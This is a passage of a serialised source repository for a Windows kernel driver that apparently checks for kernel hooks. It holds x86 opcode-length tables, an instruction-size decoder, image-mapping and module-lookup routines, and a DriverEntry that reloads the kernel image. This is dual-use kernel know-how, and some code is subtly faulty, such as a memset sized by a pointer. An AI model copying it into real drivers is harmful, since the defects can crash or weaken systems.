$(WLHBASE)\\bin\\x86\\x86;$(WLHBASE)\\bin\\x86\r\n $(WLHBASE)\\inc\\api;$(WLHBASE)\\inc\\crt;$(WLHBASE)\\inc\\ddk;$(WLHBASE)\\inc\r\n \r\n $(WLHBASE)\\lib\\win7\\i386\r\n \r\n \r\n \r\n \r\n \r\n _X86_;DBG=1\r\n false\r\n false\r\n StdCall\r\n CompileAsC\r\n \r\n \r\n \r\n \r\n ntoskrnl.lib;hal.lib;wdm.lib;%(AdditionalDependencies)\r\n \r\n \r\n true\r\n Native\r\n Driver\r\n DriverEntry\r\n true\r\n 0x10000\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/CheckKernelHook.vcxproj.filters", "content": "\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n Reload\r\n \r\n \r\n Reload\r\n \r\n \r\n Reload\r\n \r\n \r\n Reload\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n Reload\r\n \r\n \r\n Reload\r\n \r\n \r\n Reload\r\n \r\n \r\n Reload\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n {7f84aa62-4fe1-452a-a193-32b7b7a3e2db}\r\n \r\n \r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.c", "content": "#include \"Common.h\"\r\n#include \"Reload.h\"\r\n\r\n\r\n\r\nUCHAR OpcodeFlags[256] = \r\n{\r\n OP_MODRM, // 00\r\n OP_MODRM, // 01\r\n OP_MODRM, // 02\r\n OP_MODRM, // 03\r\n OP_DATA_I8, // 04\r\n OP_DATA_PRE66_67, // 05\r\n OP_NONE, // 06\r\n OP_NONE, // 07\r\n OP_MODRM, // 08\r\n OP_MODRM, // 09\r\n OP_MODRM, // 0A\r\n OP_MODRM, // 0B\r\n OP_DATA_I8, // 0C\r\n OP_DATA_PRE66_67, // 0D\r\n OP_NONE, // 0E\r\n OP_NONE, // 0F\r\n OP_MODRM, // 10\r\n OP_MODRM, // 11\r\n OP_MODRM, // 12\r\n OP_MODRM, // 13\r\n OP_DATA_I8, // 14\r\n OP_DATA_PRE66_67, // 15\r\n OP_NONE, // 16\r\n OP_NONE, // 17\r\n OP_MODRM, // 18\r\n OP_MODRM, // 19\r\n OP_MODRM, // 1A\r\n OP_MODRM, // 1B\r\n OP_DATA_I8, // 1C\r\n OP_DATA_PRE66_67, // 1D\r\n OP_NONE, // 1E\r\n OP_NONE, // 1F\r\n OP_MODRM, // 20\r\n OP_MODRM, // 21\r\n OP_MODRM, // 22\r\n OP_MODRM, // 23\r\n OP_DATA_I8, // 24\r\n OP_DATA_PRE66_67, // 25\r\n OP_NONE, // 26\r\n OP_NONE, // 27\r\n OP_MODRM, // 28\r\n OP_MODRM, // 29\r\n OP_MODRM, // 2A\r\n OP_MODRM, // 2B\r\n OP_DATA_I8, // 2C\r\n OP_DATA_PRE66_67, // 2D\r\n OP_NONE, // 2E\r\n OP_NONE, // 2F\r\n OP_MODRM, // 30\r\n OP_MODRM, // 31\r\n OP_MODRM, // 32\r\n OP_MODRM, // 33\r\n OP_DATA_I8, // 34\r\n OP_DATA_PRE66_67, // 35\r\n OP_NONE, // 36\r\n OP_NONE, // 37\r\n OP_MODRM, // 38\r\n OP_MODRM, // 39\r\n OP_MODRM, // 3A\r\n OP_MODRM, // 3B\r\n OP_DATA_I8, // 3C\r\n OP_DATA_PRE66_67, // 3D\r\n OP_NONE, // 3E\r\n OP_NONE, // 3F\r\n OP_NONE, // 40\r\n OP_NONE, // 41\r\n OP_NONE, // 42\r\n OP_NONE, // 43\r\n OP_NONE, // 44\r\n OP_NONE, // 45\r\n OP_NONE, // 46\r\n OP_NONE, // 47\r\n OP_NONE, // 48\r\n OP_NONE, // 49\r\n OP_NONE, // 4A\r\n OP_NONE, // 4B\r\n OP_NONE, // 4C\r\n OP_NONE, // 4D\r\n OP_NONE, // 4E\r\n OP_NONE, // 4F\r\n OP_NONE, // 50\r\n OP_NONE, // 51\r\n OP_NONE, // 52\r\n OP_NONE, // 53\r\n OP_NONE, // 54\r\n OP_NONE, // 55\r\n OP_NONE, // 56\r\n OP_NONE, // 57\r\n OP_NONE, // 58\r\n OP_NONE, // 59\r\n OP_NONE, // 5A\r\n OP_NONE, // 5B\r\n OP_NONE, // 5C\r\n OP_NONE, // 5D\r\n OP_NONE, // 5E\r\n OP_NONE, // 5F\r\n OP_NONE, // 60\r\n OP_NONE, // 61\r\n OP_MODRM, // 62\r\n OP_MODRM, // 63\r\n OP_NONE, // 64\r\n OP_NONE, // 65\r\n OP_NONE, // 66\r\n OP_NONE, // 67\r\n OP_DATA_PRE66_67, // 68\r\n OP_MODRM | OP_DATA_PRE66_67, // 69\r\n OP_DATA_I8, // 6A\r\n OP_MODRM | OP_DATA_I8, // 6B\r\n OP_NONE, // 6C\r\n OP_NONE, // 6D\r\n OP_NONE, // 6E\r\n OP_NONE, // 6F\r\n OP_DATA_I8, // 70\r\n OP_DATA_I8, // 71\r\n OP_DATA_I8, // 72\r\n OP_DATA_I8, // 73\r\n OP_DATA_I8, // 74\r\n OP_DATA_I8, // 75\r\n OP_DATA_I8, // 76\r\n OP_DATA_I8, // 77\r\n OP_DATA_I8, // 78\r\n OP_DATA_I8, // 79\r\n OP_DATA_I8, // 7A\r\n OP_DATA_I8, // 7B\r\n OP_DATA_I8, // 7C\r\n OP_DATA_I8, // 7D\r\n OP_DATA_I8, // 7E\r\n OP_DATA_I8, // 7F\r\n OP_MODRM | OP_DATA_I8, // 80\r\n OP_MODRM | OP_DATA_PRE66_67, // 81\r\n OP_MODRM | OP_DATA_I8, // 82\r\n OP_MODRM | OP_DATA_I8, // 83\r\n OP_MODRM, // 84\r\n OP_MODRM, // 85\r\n OP_MODRM, // 86\r\n OP_MODRM, // 87\r\n OP_MODRM, // 88\r\n OP_MODRM, // 89\r\n OP_MODRM, // 8A\r\n OP_MODRM, // 8B\r\n OP_MODRM, // 8C\r\n OP_MODRM, // 8D\r\n OP_MODRM, // 8E\r\n OP_MODRM, // 8F\r\n OP_NONE, // 90\r\n OP_NONE, // 91\r\n OP_NONE, // 92\r\n OP_NONE, // 93\r\n OP_NONE, // 94\r\n OP_NONE, // 95\r\n OP_NONE, // 96\r\n OP_NONE, // 97\r\n OP_NONE, // 98\r\n OP_NONE, // 99\r\n OP_DATA_I16 | OP_DATA_PRE66_67,// 9A\r\n OP_NONE, // 9B\r\n OP_NONE, // 9C\r\n OP_NONE, // 9D\r\n OP_NONE, // 9E\r\n OP_NONE, // 9F\r\n OP_DATA_PRE66_67, // A0\r\n OP_DATA_PRE66_67, // A1\r\n OP_DATA_PRE66_67, // A2\r\n OP_DATA_PRE66_67, // A3\r\n OP_NONE, // A4\r\n OP_NONE, // A5\r\n OP_NONE, // A6\r\n OP_NONE, // A7\r\n OP_DATA_I8, // A8\r\n OP_DATA_PRE66_67, // A9\r\n OP_NONE, // AA\r\n OP_NONE, // AB\r\n OP_NONE, // AC\r\n OP_NONE, // AD\r\n OP_NONE, // AE\r\n OP_NONE, // AF\r\n OP_DATA_I8, // B0\r\n OP_DATA_I8, // B1\r\n OP_DATA_I8, // B2\r\n OP_DATA_I8, // B3\r\n OP_DATA_I8, // B4\r\n OP_DATA_I8, // B5\r\n OP_DATA_I8, // B6\r\n OP_DATA_I8, // B7\r\n OP_DATA_PRE66_67, // B8\r\n OP_DATA_PRE66_67, // B9\r\n OP_DATA_PRE66_67, // BA\r\n OP_DATA_PRE66_67, // BB\r\n OP_DATA_PRE66_67, // BC\r\n OP_DATA_PRE66_67, // BD\r\n OP_DATA_PRE66_67, // BE\r\n OP_DATA_PRE66_67, // BF\r\n OP_MODRM | OP_DATA_I8, // C0\r\n OP_MODRM | OP_DATA_I8, // C1\r\n OP_DATA_I16, // C2\r\n OP_NONE, // C3\r\n OP_MODRM, // C4\r\n OP_MODRM, // C5\r\n OP_MODRM | OP_DATA_I8, // C6\r\n OP_MODRM | OP_DATA_PRE66_67, // C7\r\n OP_DATA_I8 | OP_DATA_I16, // C8\r\n OP_NONE, // C9\r\n OP_DATA_I16, // CA\r\n OP_NONE, // CB\r\n OP_NONE, // CC\r\n OP_DATA_I8, // CD\r\n OP_NONE, // CE\r\n OP_NONE, // CF\r\n OP_MODRM, // D0\r\n OP_MODRM, // D1\r\n OP_MODRM, // D2\r\n OP_MODRM, // D3\r\n OP_DATA_I8, // D4\r\n OP_DATA_I8, // D5\r\n OP_NONE, // D6\r\n OP_NONE, // D7\r\n OP_WORD, // D8\r\n OP_WORD, // D9\r\n OP_WORD, // DA\r\n OP_WORD, // DB\r\n OP_WORD, // DC\r\n OP_WORD, // DD\r\n OP_WORD, // DE\r\n OP_WORD, // DF\r\n OP_DATA_I8, // E0\r\n OP_DATA_I8, // E1\r\n OP_DATA_I8, // E2\r\n OP_DATA_I8, // E3\r\n OP_DATA_I8, // E4\r\n OP_DATA_I8, // E5\r\n OP_DATA_I8, // E6\r\n OP_DATA_I8, // E7\r\n OP_DATA_PRE66_67 | OP_REL32, // E8\r\n OP_DATA_PRE66_67 | OP_REL32, // E9\r\n OP_DATA_I16 | OP_DATA_PRE66_67,// EA\r\n OP_DATA_I8, // EB\r\n OP_NONE, // EC\r\n OP_NONE, // ED\r\n OP_NONE, // EE\r\n OP_NONE, // EF\r\n OP_NONE, // F0\r\n OP_NONE, // F1\r\n OP_NONE, // F2\r\n OP_NONE, // F3\r\n OP_NONE, // F4\r\n OP_NONE, // F5\r\n OP_MODRM, // F6\r\n OP_MODRM, // F7\r\n OP_NONE, // F8\r\n OP_NONE, // F9\r\n OP_NONE, // FA\r\n OP_NONE, // FB\r\n OP_NONE, // FC\r\n OP_NONE, // FD\r\n OP_MODRM, // FE\r\n OP_MODRM | OP_REL32 // FF\r\n};\r\n\r\nUCHAR OpcodeFlagsExt[256] =\r\n{\r\n OP_MODRM, // 00\r\n OP_MODRM, // 01\r\n OP_MODRM, // 02\r\n OP_MODRM, // 03\r\n OP_NONE, // 04\r\n OP_NONE, // 05\r\n OP_NONE, // 06\r\n OP_NONE, // 07\r\n OP_NONE, // 08\r\n OP_NONE, // 09\r\n OP_NONE, // 0A\r\n OP_NONE, // 0B\r\n OP_NONE, // 0C\r\n OP_MODRM, // 0D\r\n OP_NONE, // 0E\r\n OP_MODRM | OP_DATA_I8, // 0F\r\n OP_MODRM, // 10\r\n OP_MODRM, // 11\r\n OP_MODRM, // 12\r\n OP_MODRM, // 13\r\n OP_MODRM, // 14\r\n OP_MODRM, // 15\r\n OP_MODRM, // 16\r\n OP_MODRM, // 17\r\n OP_MODRM, // 18\r\n OP_NONE, // 19\r\n OP_NONE, // 1A\r\n OP_NONE, // 1B\r\n OP_NONE, // 1C\r\n OP_NONE, // 1D\r\n OP_NONE, // 1E\r\n OP_NONE, // 1F\r\n OP_MODRM, // 20\r\n OP_MODRM, // 21\r\n OP_MODRM, // 22\r\n OP_MODRM, // 23\r\n OP_MODRM, // 24\r\n OP_NONE, // 25\r\n OP_MODRM, // 26\r\n OP_NONE, // 27\r\n OP_MODRM, // 28\r\n OP_MODRM, // 29\r\n OP_MODRM, // 2A\r\n OP_MODRM, // 2B\r\n OP_MODRM, // 2C\r\n OP_MODRM, // 2D\r\n OP_MODRM, // 2E\r\n OP_MODRM, // 2F\r\n OP_NONE, // 30\r\n OP_NONE, // 31\r\n OP_NONE, // 32\r\n OP_NONE, // 33\r\n OP_NONE, // 34\r\n OP_NONE, // 35\r\n OP_NONE, // 36\r\n OP_NONE, // 37\r\n OP_NONE, // 38\r\n OP_NONE, // 39\r\n OP_NONE, // 3A\r\n OP_NONE, // 3B\r\n OP_NONE, // 3C\r\n OP_NONE, // 3D\r\n OP_NONE, // 3E\r\n OP_NONE, // 3F\r\n OP_MODRM, // 40\r\n OP_MODRM, // 41\r\n OP_MODRM, // 42\r\n OP_MODRM, // 43\r\n OP_MODRM, // 44\r\n OP_MODRM, // 45\r\n OP_MODRM, // 46\r\n OP_MODRM, // 47\r\n OP_MODRM, // 48\r\n OP_MODRM, // 49\r\n OP_MODRM, // 4A\r\n OP_MODRM, // 4B\r\n OP_MODRM, // 4C\r\n OP_MODRM, // 4D\r\n OP_MODRM, // 4E\r\n OP_MODRM, // 4F\r\n OP_MODRM, // 50\r\n OP_MODRM, // 51\r\n OP_MODRM, // 52\r\n OP_MODRM, // 53\r\n OP_MODRM, // 54\r\n OP_MODRM, // 55\r\n OP_MODRM, // 56\r\n OP_MODRM, // 57\r\n OP_MODRM, // 58\r\n OP_MODRM, // 59\r\n OP_MODRM, // 5A\r\n OP_MODRM, // 5B\r\n OP_MODRM, // 5C\r\n OP_MODRM, // 5D\r\n OP_MODRM, // 5E\r\n OP_MODRM, // 5F\r\n OP_MODRM, // 60\r\n OP_MODRM, // 61\r\n OP_MODRM, // 62\r\n OP_MODRM, // 63\r\n OP_MODRM, // 64\r\n OP_MODRM, // 65\r\n OP_MODRM, // 66\r\n OP_MODRM, // 67\r\n OP_MODRM, // 68\r\n OP_MODRM, // 69\r\n OP_MODRM, // 6A\r\n OP_MODRM, // 6B\r\n OP_MODRM, // 6C\r\n OP_MODRM, // 6D\r\n OP_MODRM, // 6E\r\n OP_MODRM, // 6F\r\n OP_MODRM | OP_DATA_I8, // 70\r\n OP_MODRM | OP_DATA_I8, // 71\r\n OP_MODRM | OP_DATA_I8, // 72\r\n OP_MODRM | OP_DATA_I8, // 73\r\n OP_MODRM, // 74\r\n OP_MODRM, // 75\r\n OP_MODRM, // 76\r\n OP_NONE, // 77\r\n OP_NONE, // 78\r\n OP_NONE, // 79\r\n OP_NONE, // 7A\r\n OP_NONE, // 7B\r\n OP_MODRM, // 7C\r\n OP_MODRM, // 7D\r\n OP_MODRM, // 7E\r\n OP_MODRM, // 7F\r\n OP_DATA_PRE66_67 | OP_REL32, // 80\r\n OP_DATA_PRE66_67 | OP_REL32, // 81\r\n OP_DATA_PRE66_67 | OP_REL32, // 82\r\n OP_DATA_PRE66_67 | OP_REL32, // 83\r\n OP_DATA_PRE66_67 | OP_REL32, // 84\r\n OP_DATA_PRE66_67 | OP_REL32, // 85\r\n OP_DATA_PRE66_67 | OP_REL32, // 86\r\n OP_DATA_PRE66_67 | OP_REL32, // 87\r\n OP_DATA_PRE66_67 | OP_REL32, // 88\r\n OP_DATA_PRE66_67 | OP_REL32, // 89\r\n OP_DATA_PRE66_67 | OP_REL32, // 8A\r\n OP_DATA_PRE66_67 | OP_REL32, // 8B\r\n OP_DATA_PRE66_67 | OP_REL32, // 8C\r\n OP_DATA_PRE66_67 | OP_REL32, // 8D\r\n OP_DATA_PRE66_67 | OP_REL32, // 8E\r\n OP_DATA_PRE66_67 | OP_REL32, // 8F\r\n OP_MODRM, // 90\r\n OP_MODRM, // 91\r\n OP_MODRM, // 92\r\n OP_MODRM, // 93\r\n OP_MODRM, // 94\r\n OP_MODRM, // 95\r\n OP_MODRM, // 96\r\n OP_MODRM, // 97\r\n OP_MODRM, // 98\r\n OP_MODRM, // 99\r\n OP_MODRM, // 9A\r\n OP_MODRM, // 9B\r\n OP_MODRM, // 9C\r\n OP_MODRM, // 9D\r\n OP_MODRM, // 9E\r\n OP_MODRM, // 9F\r\n OP_NONE, // A0\r\n OP_NONE, // A1\r\n OP_NONE, // A2\r\n OP_MODRM, // A3\r\n OP_MODRM | OP_DATA_I8, // A4\r\n OP_MODRM, // A5\r\n OP_NONE, // A6\r\n OP_NONE, // A7\r\n OP_NONE, // A8\r\n OP_NONE, // A9\r\n OP_NONE, // AA\r\n OP_MODRM, // AB\r\n OP_MODRM | OP_DATA_I8, // AC\r\n OP_MODRM, // AD\r\n OP_MODRM, // AE\r\n OP_MODRM, // AF\r\n OP_MODRM, // B0\r\n OP_MODRM, // B1\r\n OP_MODRM, // B2\r\n OP_MODRM, // B3\r\n OP_MODRM, // B4\r\n OP_MODRM, // B5\r\n OP_MODRM, // B6\r\n OP_MODRM, // B7\r\n OP_NONE, // B8\r\n OP_NONE, // B9\r\n OP_MODRM | OP_DATA_I8, // BA\r\n OP_MODRM, // BB\r\n OP_MODRM, // BC\r\n OP_MODRM, // BD\r\n OP_MODRM, // BE\r\n OP_MODRM, // BF\r\n OP_MODRM, // C0\r\n OP_MODRM, // C1\r\n OP_MODRM | OP_DATA_I8, // C2\r\n OP_MODRM, // C3\r\n OP_MODRM | OP_DATA_I8, // C4\r\n OP_MODRM | OP_DATA_I8, // C5\r\n OP_MODRM | OP_DATA_I8, // C6 \r\n OP_MODRM, // C7\r\n OP_NONE, // C8\r\n OP_NONE, // C9\r\n OP_NONE, // CA\r\n OP_NONE, // CB\r\n OP_NONE, // CC\r\n OP_NONE, // CD\r\n OP_NONE, // CE\r\n OP_NONE, // CF\r\n OP_MODRM, // D0\r\n OP_MODRM, // D1\r\n OP_MODRM, // D2\r\n OP_MODRM, // D3\r\n OP_MODRM, // D4\r\n OP_MODRM, // D5\r\n OP_MODRM, // D6\r\n OP_MODRM, // D7\r\n OP_MODRM, // D8\r\n OP_MODRM, // D9\r\n OP_MODRM, // DA\r\n OP_MODRM, // DB\r\n OP_MODRM, // DC\r\n OP_MODRM, // DD\r\n OP_MODRM, // DE\r\n OP_MODRM, // DF\r\n OP_MODRM, // E0\r\n OP_MODRM, // E1\r\n OP_MODRM, // E2\r\n OP_MODRM, // E3\r\n OP_MODRM, // E4\r\n OP_MODRM, // E5\r\n OP_MODRM, // E6\r\n OP_MODRM, // E7\r\n OP_MODRM, // E8\r\n OP_MODRM, // E9\r\n OP_MODRM, // EA\r\n OP_MODRM, // EB\r\n OP_MODRM, // EC\r\n OP_MODRM, // ED\r\n OP_MODRM, // EE\r\n OP_MODRM, // EF\r\n OP_MODRM, // F0\r\n OP_MODRM, // F1\r\n OP_MODRM, // F2\r\n OP_MODRM, // F3\r\n OP_MODRM, // F4\r\n OP_MODRM, // F5\r\n OP_MODRM, // F6\r\n OP_MODRM, // F7 \r\n OP_MODRM, // F8\r\n OP_MODRM, // F9\r\n OP_MODRM, // FA\r\n OP_MODRM, // FB\r\n OP_MODRM, // FC\r\n OP_MODRM, // FD\r\n OP_MODRM, // FE\r\n OP_NONE // FF\r\n};\r\n\r\n\r\nNTSTATUS \r\n MapFileInUserSpace(WCHAR* wzFilePath,IN HANDLE hProcess OPTIONAL,\r\n OUT PVOID *BaseAddress,\r\n OUT PSIZE_T ViewSize OPTIONAL)\r\n{\r\n NTSTATUS Status = STATUS_INVALID_PARAMETER;\r\n HANDLE hFile = NULL;\r\n HANDLE hSection = NULL;\r\n OBJECT_ATTRIBUTES oa;\r\n SIZE_T MapViewSize = 0;\r\n IO_STATUS_BLOCK Iosb;\r\n UNICODE_STRING uniFilePath;\r\n if (!wzFilePath || !BaseAddress){\r\n return Status;\r\n }\r\n RtlInitUnicodeString(&uniFilePath, wzFilePath);\r\n InitializeObjectAttributes(&oa,\r\n &uniFilePath,\r\n OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE,\r\n NULL,\r\n NULL\r\n );\r\n Status = IoCreateFile(&hFile,\r\n GENERIC_READ | SYNCHRONIZE,\r\n &oa,\r\n &Iosb,\r\n NULL,\r\n FILE_ATTRIBUTE_NORMAL,\r\n FILE_SHARE_READ,\r\n FILE_OPEN,\r\n FILE_SYNCHRONOUS_IO_NONALERT,\r\n NULL,\r\n 0,\r\n CreateFileTypeNone,\r\n NULL,\r\n IO_NO_PARAMETER_CHECKING\r\n );\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return Status;\r\n }\r\n oa.ObjectName = NULL;\r\n Status = ZwCreateSection(&hSection,\r\n SECTION_QUERY | SECTION_MAP_READ,\r\n &oa,\r\n NULL,\r\n PAGE_WRITECOPY,\r\n SEC_IMAGE,\r\n hFile\r\n );\r\n ZwClose(hFile);\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return Status;\r\n }\r\n if (!hProcess){\r\n hProcess = NtCurrentProcess();\r\n }\r\n Status = ZwMapViewOfSection(hSection, \r\n hProcess, \r\n BaseAddress, \r\n 0, \r\n 0, \r\n 0, \r\n ViewSize ? ViewSize : &MapViewSize, \r\n ViewUnmap, \r\n 0, \r\n PAGE_WRITECOPY\r\n );\r\n ZwClose(hSection);\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return Status;\r\n }\r\n return Status;\r\n}\r\n\r\n\r\n\r\n\r\n//ָͨúС\r\nunsigned long __fastcall GetFunctionCodeSize(void *Proc)\r\n{\r\n ULONG Length;\r\n PUCHAR pOpcode;\r\n ULONG Result = 0;\r\n ULONG CCINT3Count=0;\r\n do\r\n {\r\n Length = SizeOfCode(Proc, &pOpcode);\r\n Result += Length;\r\n if ((Length == 1) && (*pOpcode == 0xCC||*pOpcode==0x90)) CCINT3Count++;\r\n if (CCINT3Count>1 ||\r\n *pOpcode == 0x00)\r\n {\r\n break; //ж˳ָ\r\n }\r\n Proc = (PVOID)((ULONG)Proc + Length);\r\n } while (Length);\r\n return Result;\r\n}\r\n\r\nunsigned long __fastcall SizeOfCode(void *Code, unsigned char **pOpcode)\r\n{\r\n PUCHAR cPtr;\r\n UCHAR Flags;\r\n BOOLEAN PFX66, PFX67;\r\n BOOLEAN SibPresent;\r\n UCHAR iMod, iRM, iReg;\r\n UCHAR OffsetSize, Add;\r\n UCHAR Opcode;\r\n\r\n OffsetSize = 0;\r\n PFX66 = FALSE;\r\n PFX67 = FALSE;\r\n cPtr = (PUCHAR)Code;\r\n\r\n while ((*cPtr == 0x2E) || (*cPtr == 0x3E) || (*cPtr == 0x36) ||\r\n (*cPtr == 0x26) || (*cPtr == 0x64) || (*cPtr == 0x65) || \r\n (*cPtr == 0xF0) || (*cPtr == 0xF2) || (*cPtr == 0xF3) ||\r\n (*cPtr == 0x66) || (*cPtr == 0x67)) \r\n {\r\n if (*cPtr == 0x66) PFX66 = TRUE;\r\n if (*cPtr == 0x67) PFX67 = TRUE;\r\n cPtr++;\r\n if (cPtr > (PUCHAR)Code + 16) return 0; \r\n }\r\n Opcode = *cPtr;\r\n if (pOpcode) *pOpcode = cPtr; \r\n if (*cPtr == 0x0F)\r\n {\r\n cPtr++;\r\n Flags = OpcodeFlagsExt[*cPtr];\r\n } else \r\n {\r\n Flags = OpcodeFlags[Opcode];\r\n if (Opcode >= 0xA0 && Opcode <= 0xA3) PFX66 = PFX67;\r\n }\r\n cPtr++;\r\n if (Flags & OP_WORD) cPtr++; \r\n if (Flags & OP_MODRM)\r\n {\r\n iMod = *cPtr >> 6;\r\n iReg = (*cPtr & 0x38) >> 3; \r\n iRM = *cPtr & 7;\r\n cPtr++;\r\n\r\n if ((Opcode == 0xF6) && !iReg) Flags |= OP_DATA_I8; \r\n if ((Opcode == 0xF7) && !iReg) Flags |= OP_DATA_PRE66_67; \r\n\r\n SibPresent = !PFX67 & (iRM == 4);\r\n switch (iMod)\r\n {\r\n case 0: \r\n if ( PFX67 && (iRM == 6)) OffsetSize = 2;\r\n if (!PFX67 && (iRM == 5)) OffsetSize = 4; \r\n break;\r\n case 1: OffsetSize = 1;\r\n break; \r\n case 2: if (PFX67) OffsetSize = 2; else OffsetSize = 4;\r\n break;\r\n case 3: SibPresent = FALSE;\r\n }\r\n if (SibPresent)\r\n {\r\n if (((*cPtr & 7) == 5) && ( (!iMod) || (iMod == 2) )) OffsetSize = 4;\r\n cPtr++;\r\n }\r\n cPtr = (PUCHAR)(ULONG)cPtr + OffsetSize;\r\n }\r\n\r\n if (Flags & OP_DATA_I8) cPtr ++;\r\n if (Flags & OP_DATA_I16) cPtr += 2;\r\n if (Flags & OP_DATA_I32) cPtr += 4;\r\n if (PFX66) Add = 2;\r\n else Add = 4;\r\n if (Flags & OP_DATA_PRE66_67) cPtr += Add;\r\n return (ULONG)cPtr - (ULONG)Code;\r\n}\r\n\r\n\r\nBOOL IsAddressInSystem(ULONG ulDriverBase,ULONG *ulSysModuleBase,ULONG *ulSize,char *lpszSysModuleImage)\r\n{\r\n NTSTATUS status;\r\n ULONG NeededSize,i;\r\n PMODULES pModuleList;\r\n BOOL bRet = FALSE;\r\n BOOL bInit = FALSE;\r\n\r\n if (ZwQuerySystemInformation &&\r\n ExAllocatePool &&\r\n ExFreePool)\r\n {\r\n bInit = TRUE;\r\n }\r\n if (!bInit)\r\n return FALSE;\r\n\r\n __try\r\n {\r\n status=ZwQuerySystemInformation(\r\n SystemModuleInformation,\r\n NULL,\r\n 0,\r\n &NeededSize);\r\n if (status!=STATUS_INFO_LENGTH_MISMATCH)\r\n {\r\n //KdPrint((\"ZwQuerySystemInformation failed:%d\",RtlNtStatusToDosError(status)));\r\n return bRet;\r\n }\r\n pModuleList=(PMODULES)ExAllocatePool(NonPagedPool,NeededSize);\r\n if (pModuleList)\r\n {\r\n status=ZwQuerySystemInformation(\r\n SystemModuleInformation,\r\n pModuleList,\r\n NeededSize,\r\n &NeededSize);\r\n\r\n if (NT_SUCCESS(status))\r\n {\r\n for (i=0;iulCount;i++)\r\n {\r\n if (ulDriverBase > pModuleList->smi[i].Base && ulDriverBase < pModuleList->smi[i].Base + pModuleList->smi[i].Size)\r\n {\r\n bRet = TRUE;\r\n __try\r\n {\r\n *ulSysModuleBase = pModuleList->smi[i].Base;\r\n *ulSize = pModuleList->smi[i].Size;\r\n memset(lpszSysModuleImage,0,sizeof(lpszSysModuleImage));\r\n strcat(lpszSysModuleImage,pModuleList->smi[i].ImageName);\r\n\r\n }__except(EXCEPTION_EXECUTE_HANDLER){\r\n\r\n }\r\n break;\r\n }\r\n }\r\n }\r\n //else\r\n // KdPrint((\"@@ZwQuerySystemInformation failed:%d\",RtlNtStatusToDosError(status)));\r\n\r\n ExFreePool(pModuleList);\r\n pModuleList = NULL;\r\n }\r\n //else\r\n // KdPrint((\"ExAllocatePool failed\"));\r\n }\r\n __except(EXCEPTION_EXECUTE_HANDLER)\r\n {\r\n }\r\n if (pModuleList)\r\n ExFreePool(pModuleList);\r\n\r\n return bRet;\r\n}" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/Common.h", "content": "#include \"DriverEntry.h\"\r\n#include \r\n\r\ntypedef unsigned long DWORD;\r\ntypedef void *HANDLE;\r\ntypedef unsigned char BOOL, *PBOOL;\r\n#define SEC_IMAGE 0x01000000\r\n\r\nNTSYSAPI\r\n PIMAGE_NT_HEADERS\r\n NTAPI\r\n RtlImageNtHeader(PVOID Base);\r\n\r\nNTSTATUS \r\n MapFileInUserSpace(WCHAR* wzFilePath,IN HANDLE hProcess OPTIONAL,\r\n OUT PVOID *BaseAddress,\r\n OUT PSIZE_T ViewSize OPTIONAL);\r\n\r\n LONG GetSSDTApiFunctionIndexFromNtdll(char* szFindFunctionName);\r\n BOOL IsAddressInSystem(ULONG ulDriverBase,ULONG *ulSysModuleBase,ULONG *ulSize,char *lpszSysModuleImage);\r\n#define OP_NONE 0x00\r\n#define OP_MODRM 0x01\r\n#define OP_DATA_I8 0x02\r\n#define OP_DATA_I16 0x04\r\n#define OP_DATA_I32 0x08\r\n#define OP_DATA_PRE66_67 0x10\r\n#define OP_WORD 0x20\r\n#define OP_REL32 0x40\r\n\r\nunsigned long __fastcall GetFunctionCodeSize(void *Proc);\r\n unsigned long __fastcall SizeOfCode(void *Code, unsigned char **pOpcode);\r\n" }, { "path": "CheckKernelEATHook/CheckKernelHookDrv/CheckKernelHook/DriverEntry.c", "content": "\r\n\r\n#include \"DriverEntry.h\"\r\n#include \"KernelHookCheck.h\"\r\n#include \"Reload.h\"\r\n\r\n\r\nNTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegisterPath)\r\n{\r\n ULONG ImageBase = 0;\r\n NTSTATUS Status = STATUS_SUCCESS;\r\n UNICODE_STRING uniDeviceName;\r\n UNICODE_STRING uniLinkName;\r\n PDEVICE_OBJECT DeviceObject = NULL;\r\n ULONG_PTR i = 0;\r\n\r\n RtlInitUnicodeString(&uniDeviceName,DEVICE_NAME);\r\n RtlInitUnicodeString(&uniLinkName,LINK_NAME);\r\n\r\n for (i=0;iMajorFunction[i] = DefaultPassThrough;\r\n }\r\n\r\n DriverObject->DriverUnload = UnloadDriver;\r\n DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = ControlPassThrough;\r\n\r\n //豸\r\n Status = IoCreateDevice(DriverObject,0,&uniDeviceName,FILE_DEVICE_UNKNOWN,0,FALSE,&DeviceObject);\r\n if (!NT_SUCCESS(Status))\r\n {\r\n return Status;\r\n }\r\n\r\n Status = IoCreateSymbolicLink(&uniLinkName,&uniDeviceName);\r\n if (!NT_SUCCESS(Status))\r\n {\r\n IoDeleteDevice(DeviceObject);\r\n return Status;\r\n }\r\n\r\n //PINLINEHOOKINFO InlineHookInfo ;\r\n //InlineHookInfo = ExAllocatePool(1,sizeof(INLINEHOOKINFO)+0x1000*sizeof(INLINEHOOKINFO_INFORMATION));\r\n //memset(InlineHookInfo,0,sizeof(INLINEHOOKINFO)+0x1000*sizeof(INLINEHOOKINFO_INFORMATION));\r\n //DriverObject->DriverUnload = UnloadDriver;\r\n\r\n ReLoadNtos(DriverObject,ImageBase);\r\n //KernelHookCheck(InlineHookInfo);\r\n return STATUS_SUCCESS;\r\n}\r\n\r\n\r\nNTSTATUS\r\n ControlPassThrough(PDEVICE_OBJECT DeviceObject,PIRP Irp)\r\n{\r\n NTSTATUS Status = STATUS_SUCCESS;\r\n PIO_STACK_LOCATION IrpSp;\r\n PVOID InputBuffer = NULL;\r\n PVOID OutputBuffer = NULL;\r\n ULONG_PTR InputSize = 0;\r\n ULONG_PTR OutputSize = 0;\r\n ULONG_PTR IoControlCode = 0;\r\n IrpSp = 